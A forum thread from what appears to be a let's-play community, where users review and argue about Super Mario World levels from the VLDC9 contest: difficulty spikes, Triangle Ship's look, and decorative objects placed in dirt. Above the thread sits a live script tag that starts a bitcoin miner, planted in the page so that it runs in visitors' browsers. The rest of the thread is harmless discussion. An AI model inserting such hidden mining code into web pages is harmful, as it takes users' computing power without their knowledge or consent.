<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmw centralmario fan games galaxy

VLDC9 - vanilla level design contest 9

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
Nimono
Posts: 512
Joined: 6 years ago

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby Nimono » 3 years ago

-whoop can't delete anymore ignore this-
Last edited by Nimono on 18 Jan 2017, 04:55, edited 1 time in total.

User avatar
Lockirby2
Posts: 351
Joined: 4 years ago
Location: Ontario, Canada
Contact:

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby Lockirby2 » 3 years ago

There were a lot of things that were great about this level. The throwbacks to Hostel were pretty great. When I first saw the entrance, I started debating back and forth to myself for a while whether this level was a Hostel reference (I didn't remember who the author was, and I didn't find the entrance to the secret exit until after I completed the normal exit). Finding that entrance at that point was pretty cool, and it didn't disappoint on the creepy factor. The level also looked really nice and had some cool gameplay ideas.

All that being said though, I enjoyed this level a lot less than I could have. Placing finicky obstacles that kill you instantly and have little room for error *after* a ton of slow paced obstacles where you have to take your time (especially if the level is long) is one of my least favourite things in SMW level design (incidentally, this is a large reason why I dislike VIP 1). I understand that the author introduced the wall triangles in safe areas and made them more dangerous later, but the level ramped up way too quickly and suddenly in a level that was too long to handle it. I died half as many times as raocow did on that one obstacle, and I was still annoyed. And the buildup to the secret exit falls flat on every subsequent attempt. That part really should have been skipped with a 1-up mushroom midpoint, IMO. I guess it helps that the secret exit took me 3-4 times as many attempts as raocow needed.

I would probably give this level a decently high score, but it would definitely not approach 50.

User avatar
ft029
m/m wannabe
Posts: 481
Joined: 3 years ago
Location: U.S.

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby ft029 » 3 years ago

This level aside, I'm super looking forward to some of the other levels in this world for various reasons.

Also, the cable car thing. It's weird.

I immediately died upon entering the top-left station due to Mario being in a weird position on the screen.

Mosts Awards:
Image
Image

User avatar
Grounder
Posts: 3429
Joined: 5 years ago

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby Grounder » 3 years ago

ft029 wrote:This level aside, I'm super looking forward to some of the other levels in this world for various reasons.

Also, the cable car thing. It's weird.

I immediately died upon entering the top-left station due to Mario being in a weird position on the screen.

What happened after that?

I didn't think something like that could happen in SMW.
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
Zephyr_DragonLord
The dragon awakens...!
Posts: 887
Joined: 4 years ago
First name: Zach
Location: Somewhere between dreams and dormancy

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby Zephyr_DragonLord » 3 years ago

Nimono wrote:jesus why am I so hated on youtube now

EDIT: ALSO raocow IF YOU SEE THE DISCUSSIONS REGARDING ME ON THE YOUTUBE COMMENTS PLEASE DO NOT CALL THEM OUT AT ALL, THANK YOU :> I'd much rather it just blow over and hopefully be forgotten than attention be brought to it, and if for some reason you were to take my side, hate might get directed toward you and I don't wanna see that
Hey, I completely understand why you feel this way. Triangle blocks are nonsense to the highest caliber. Despite that....

Hotel does quite a lot of things right. First of all, the atmosphere is good. Secondly, the music is nice. And most importantly... the gameplay is (mostly) really solid. The birds are hilarious, and then the inexplicably have munchers under them...

One other small grip I have is that there's no real indication that the birds have different properties besides their movement, but changing that would make it non-vanilla.

Also, those repeated deaths from hitting the ceiling were incredibly silly. raocow manages to find some of the most amusing/sad demos out there, and completely by accident...

Also,

nice

.
I am prone to almost everything... except spontaneous violence.
Any questions, concerns, or aspirations you have with me can go to the PM box... Now here's a quote:
raocow wrote:I know there is a population on Earth. They like to populate. I like to gesticulate. We're friends!
Image
(It was about time)

User avatar
ft029
m/m wannabe
Posts: 481
Joined: 3 years ago
Location: U.S.

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby ft029 » 3 years ago

I think it was just raocow who didn't notice that it was just a reskinned porcupuffer, lol
Mosts Awards:
Image
Image

User avatar
Lockirby2
Posts: 351
Joined: 4 years ago
Location: Ontario, Canada
Contact:

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby Lockirby2 » 3 years ago

Zephyr_DragonLord wrote: Hotel does quite a lot of things right. First of all, the atmosphere is good. Secondly, the music is nice. And most importantly... the gameplay is (mostly) really solid. The birds are hilarious, and then the inexplicably have munchers under them...
I'm pretty sure that the birds are supposed to be holding the munchers as weapons to attack Mario. Which is also pretty hilarious.

Also, I'm pretty sure that the judges can't consider music since it is not vanilla. I feel like the music is for the benefit of the players of the compilation and the judges' sanity. So even if it is nice, I don't think it should affect the rankings.

S.N.N.
Posts: 506
Joined: 10 years ago
Location: Ontario, Canada

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby S.N.N. » 3 years ago

Nimono wrote:jesus why am I so hated on youtube now
Nimono wrote:EDIT: ALSO raocow IF YOU SEE THE DISCUSSIONS REGARDING ME ON THE YOUTUBE COMMENTS PLEASE DO NOT CALL THEM OUT AT ALL, THANK YOU :>
I mean, you continue to paint a really dramatic target on yourself with the constant caps lock retaliations at people (not just here, on YT as well). Maybe learn to ignore these things/MrDeePay's jabs at you and you'd be a little better off. It has worked for most other people in your situation.

User avatar
Nimono
Posts: 512
Joined: 6 years ago

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby Nimono » 3 years ago

S.N.N. wrote:I mean, you continue to paint a really dramatic target on yourself with the constant caps lock retaliations at people (not just here, on YT as well). Maybe learn to ignore these things/MrDeePay's jabs at you and you'd be a little better off. It has worked for most other people in your situation.
........You know, you have a point there. I should really stop that.

:oops: Sorry! I just get caught in my depression sometimes.
Zephyr_DragonLord wrote:ey, I completely understand why you feel this way. Triangle blocks are nonsense to the highest caliber. Despite that....

Hotel does quite a lot of things right. First of all, the atmosphere is good. Secondly, the music is nice. And most importantly... the gameplay is (mostly) really solid. The birds are hilarious, and then the inexplicably have munchers under them...

One other small grip I have is that there's no real indication that the birds have different properties besides their movement, but changing that would make it non-vanilla.

Also, those repeated deaths from hitting the ceiling were incredibly silly. raocow manages to find some of the most amusing/sad demos out there, and completely by accident...

Also,

nice

.
Mm. Personally, I really liked the first half of the level, but the second half...uggghh. It's not about the triangle blocks, it's possible to use those in a great way. See: first half. But then it just got ridiculous with little room for error, so I felt it deserved its low score after that. Also, while the music was nice, we were explicitly told that it could not count for score because the contest is vanilla, and custom music is not vanilla. (The notion baffles me, since music DOES change a person's thoughts on a level, but what can ya do!) The secret exit path, I didn't like, either. Like, sure, it's a funny call-back to Hostel 1 and 2, and gives a good few mushrooms to tank hits with, but I still don't think it's very well-designed. Go slow at all on the ropes (which most people will do since you can't see ahead of you without the spotlight), you're either dead if you don't have a mushroom, or you have to take a forced hit if you do because the swooper ceiling descends on you in a way that makes it near-impossible to jump to the next spot safely.

Overall, great ideas, marred by not-so-good execution, in my opinion.

User avatar
raocow
the death of the incredible huge
Posts: 3011
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby raocow » 3 years ago

haha, I just saw that comment thread

don't worry yo I won't mention anything, but yeah. just let it simmer.
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Mata Hari
Posts: 2230
Joined: 10 years ago

Re: VLDC9 - vociferous loveliness dusty commons 9

Postby Mata Hari » 3 years ago

I suspect you weren't supposed to be smishable in the boat level but nobody noticed it could happen except you

gg

User avatar
FrozenQuills
undefinable flair 2019
Posts: 787
Joined: 5 years ago
Location: my skull

Re: VLDC9 - veneered liners diverse coasts 9

Postby FrozenQuills » 3 years ago

Maple Island is pretty nice. I like how diverse it got with its environments (beaches, water, and forests) even if it felt a bit too typical in its design. Aesthetics is definitely its main selling point.

Speaking of which, Triangle Ship blew me away with its aesthetics. I only found the design and creativity to be alright though; it had some sorta interesting nonlinear design and some (extremely easy) puzzles, but not much else. I can see it getting a 10 in aesthetics, but I personally felt like it got high scores in other categories because of how nice it looks.
Image
Image
Image
SMBX Tileset Compiler and Separator
The boss entry that made me eat a shoe.

5th place counter: 5
(SMBX Forums CC11, SMBX Forums CC12, Endgame Madness Contest, SMWC Kaizo Contest 2016, SMWC 24hr Contest 2018)

User avatar
Zephyr_DragonLord
The dragon awakens...!
Posts: 887
Joined: 4 years ago
First name: Zach
Location: Somewhere between dreams and dormancy

Re: VLDC9 - veneered liners diverse coasts 9

Postby Zephyr_DragonLord » 3 years ago

raocow will forever continue to find inexplicable ways to die right before the end. This is a known fact of the universe.

Both of the levels today looked incredibly nice. Maple Island had some of the prettiest backgrounds out there. More importantly, it also played like a longer vanilla SMW level. Very nice for something that just uses base assets. I like the Switch Blocks in the underwater section.

Also, Triangle Ship was AMAZING looking. I can't get enough of that saturation and atmosphere. Most of this level also plays nice, but I agree with Nimono when I say that the few flaws don't bring this level down at all. Given, I do understand Koopster's score. He must have disliked the obtuseness with that 4th Dragon Coin.

That was a good Switch Palace. Nice.
I am prone to almost everything... except spontaneous violence.
Any questions, concerns, or aspirations you have with me can go to the PM box... Now here's a quote:
raocow wrote:I know there is a population on Earth. They like to populate. I like to gesticulate. We're friends!
Image
(It was about time)

User avatar
Pyro
cutest girl 2023
Posts: 884
Joined: 4 years ago
Pronouns: she/her
Contact:

Re: VLDC9 - veneered liners diverse coasts 9

Postby Pyro » 3 years ago

Personally I really dislike Triangle Ship. It looks great but has some pretty nonsensical and weird design. It's kind of all over the place and the whole level is basically about lugging items around. Plus the "puzzles" are very breakable, suggesting a lack of testing. Also random pointless star run at the end?? It's kind of a mess. I don't think it should have gotten 13th.
Image
Image
Image
Image
Image

User avatar
morsel/morceau
Posts: 373
Joined: 10 years ago
Location: exotic horse island

Re: VLDC9 - veneered liners diverse coasts 9

Postby morsel/morceau » 3 years ago

Triangle Ship looks ridiculous. The ghost ship in smw uses the tiles that look like wood, thereby giving the feeling that it is in fact a ship. Triangle Ship uses bricks and the giant monolithic castle stones, which means it looks, with all respect to raocow and others, nothing like a fucking ship.

I also feel a vehement need to moan about adding decorations to dirt. Maple Island is one of the more obnoxious in this regard, with its tiresome mole mindgames, but it seems to be a general fad that people are choosing random graphics they don't remember having been added to dirt before and then adding them to dirt. As well as the ubiquitous mole holes, we will see: bones; rocks; stars that are sky-stars; stars that are power-ups (with other sorts of power-ups); berries (both static and dancing); even overworld level icons -- and possibly many other things I have obliterated from memory. Pray let the practice end.
dont wanna jihad no more

User avatar
Grounder
Posts: 3429
Joined: 5 years ago

Re: VLDC9 - veneered liners diverse coasts 9

Postby Grounder » 3 years ago

morsel/morceau wrote:Triangle Ship looks ridiculous. The ghost ship in smw uses the tiles that look like wood, thereby giving the feeling that it is in fact a ship. Triangle Ship uses bricks and the giant monolithic castle stones, which means it looks, with all respect to raocow and others, nothing like a fucking ship.

I also feel a vehement need to moan about adding decorations to dirt. Maple Island is one of the more obnoxious in this regard, with its tiresome mole mindgames, but it seems to be a general fad that people are choosing random graphics they don't remember having been added to dirt before and then adding them to dirt. As well as the ubiquitous mole holes, we will see: bones; rocks; stars that are sky-stars; stars that are power-ups (with other sorts of power-ups); berries (both static and dancing); even overworld level icons -- and possibly many other things I have obliterated from memory. Pray let the practice end.
Image
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
lolyoshi
don't fake the funk on a nasty dunk.
Posts: 218
Joined: 5 years ago
Location: Canada

Re: VLDC9 - veneered liners diverse coasts 9

Postby lolyoshi » 3 years ago

Grounder wrote:
morsel/morceau wrote:Triangle Ship looks ridiculous. The ghost ship in smw uses the tiles that look like wood, thereby giving the feeling that it is in fact a ship. Triangle Ship uses bricks and the giant monolithic castle stones, which means it looks, with all respect to raocow and others, nothing like a fucking ship.

I also feel a vehement need to moan about adding decorations to dirt. Maple Island is one of the more obnoxious in this regard, with its tiresome mole mindgames, but it seems to be a general fad that people are choosing random graphics they don't remember having been added to dirt before and then adding them to dirt. As well as the ubiquitous mole holes, we will see: bones; rocks; stars that are sky-stars; stars that are power-ups (with other sorts of power-ups); berries (both static and dancing); even overworld level icons -- and possibly many other things I have obliterated from memory. Pray let the practice end.
Image
Image
I agree, can we end this "adding random mario-related objects" inside the ground which makes no logical "mario sense" either.

User avatar
Nimono
Posts: 512
Joined: 6 years ago

Re: VLDC9 - veneered liners diverse coasts 9

Postby Nimono » 3 years ago

FrozenQuills wrote:Speaking of which, Triangle Ship blew me away with its aesthetics. I only found the design and creativity to be alright though; it had some sorta interesting nonlinear design and some (extremely easy) puzzles, but not much else. I can see it getting a 10 in aesthetics, but I personally felt like it got high scores in other categories because of how nice it looks.
I personally thought it was a very nice level! Though...you also have to keep in mind that I didn't realize I should've judged for Yoshi Coins as well. That might've changed my opinion on the level. Maybe. i dunno. Hindsight's 20/20

User avatar
Pyro
cutest girl 2023
Posts: 884
Joined: 4 years ago
Pronouns: she/her
Contact:

Re: VLDC9 - veneered liners diverse coasts 9

Postby Pyro » 3 years ago

^^ so much yes morsel. There's some levels later on that get OBNOXIOUS with it

(Archaic Architecture, Hilly Desert, Aero Plains....and my own level :v)

. The same also stands for putting more ground inside ground and the all powerful amazing beautiful dirt formations .I really don't understand the logic behind people doing all this stuff. It reaeally doesn't look good at all.

i still don't know what I was thinking when I made my level

Image
Image
Image
Image
Image

User avatar
BurntTenda
defeat four ducks
Posts: 509
Joined: 4 years ago
Pronouns: he/him/his
Location: Indoors~, Indoors~

Re: VLDC9 - veneered liners diverse coasts 9

Postby BurntTenda » 3 years ago

When you have the ultimate power of Dirt Formations,
it can... get out of hand.
Something goes here sometime.
Oh yeah, I have a Youtube channel

User avatar
Voltgloss
The first story's end.
Posts: 1008
Joined: 6 years ago
Pronouns: he/him/his
Location: exploring the world

Re: VLDC9 - veneered liners diverse coasts 9

Postby Voltgloss » 3 years ago

Pyro wrote:The same also stands for putting more ground inside ground
Image
you were thinking it too
Image

User avatar
Zephyr_DragonLord
The dragon awakens...!
Posts: 887
Joined: 4 years ago
First name: Zach
Location: Somewhere between dreams and dormancy

Re: VLDC9 - veneered liners diverse coasts 9

Postby Zephyr_DragonLord » 3 years ago

The best thing about the Talkhaus is that you never really know what's going to be the next big discussion. Also, wear a helmet; we're in meme country now. (As a side note, the end of the Maple Island level was transcriped by Youtube like this: "leave me the saltwater die yeah black a great little experience" ...It's kind of hilarious.)
morsel/morceau wrote:Triangle Ship looks ridiculous. The ghost ship in smw uses the tiles that look like wood, thereby giving the feeling that it is in fact a ship. Triangle Ship uses bricks and the giant monolithic castle stones, which means it looks, with all respect to raocow and others, nothing like a fucking ship.

I also feel a vehement need to moan about adding decorations to dirt. Maple Island is one of the more obnoxious in this regard, with its tiresome mole mindgames, but it seems to be a general fad that people are choosing random graphics they don't remember having been added to dirt before and then adding them to dirt. As well as the ubiquitous mole holes, we will see: bones; rocks; stars that are sky-stars; stars that are power-ups (with other sorts of power-ups); berries (both static and dancing); even overworld level icons -- and possibly many other things I have obliterated from memory. Pray let the practice end.
I entirely disagree with Triangle Ship not looking like a ship. While the inside of the ship looks a bit different, do remember that this is using purely vanilla resources... castle stones are most likely a substitute for pillars, and it shows how flexible the SMW base tools really are.

Also, I actually really dig that you can break the small puzzle sections... they aren't much of puzzles, so keeping them open is actually really good design, and helps make it more nonlinear. Notably, the level also gives you the option of getting a cape... and the level isn't broken at all from it, which is incredibly solid design. While I wouldn't be giving Triangle Ship quite a perfect score, it looks like it belongs in a real game, and deserves high marks.

Those dirt decorations ARE silly, and I never understood their use to make dirt/soil prettier... though I feel as though they could be nice storytelling elements, when used wisely. No one thinks about that, however. I kind of want to meme, and poke fun at this practice while using them.. I have a few ideas in that regard.
I am prone to almost everything... except spontaneous violence.
Any questions, concerns, or aspirations you have with me can go to the PM box... Now here's a quote:
raocow wrote:I know there is a population on Earth. They like to populate. I like to gesticulate. We're friends!
Image
(It was about time)

User avatar
Mata Hari
Posts: 2230
Joined: 10 years ago

Re: VLDC9 - veneered liners diverse coasts 9

Postby Mata Hari » 3 years ago

I thought grass-on-logs syndrome was a SMBX thing but not even

Ivy
Posts: 2362
Joined: 5 years ago
Contact:

Re: VLDC9 - veneered liners diverse coasts 9

Postby Ivy » 3 years ago

Pyro wrote::v)
a good face
3DS FC: 2793-0650-7690 | Switch: SW-2766-9108-9399 | Steam: ivysaur1996 (that ivy guy)
Many thanks to GlitchedGhost and Rockythechao for the amazing paper Demo animation!

User avatar
ft029
m/m wannabe
Posts: 481
Joined: 3 years ago
Location: U.S.

Re: VLDC9 - veneered liners diverse coasts 9

Postby ft029 » 3 years ago

Interplanetary uses dirt formations, bones sticking out of the ground, and other A E S T H E T I C features in a non-horrible way in my opinion.
Mosts Awards:
Image
Image


Return to “let's play”

Who is online

Users browsing this forum: Google [Bot] and 14 guests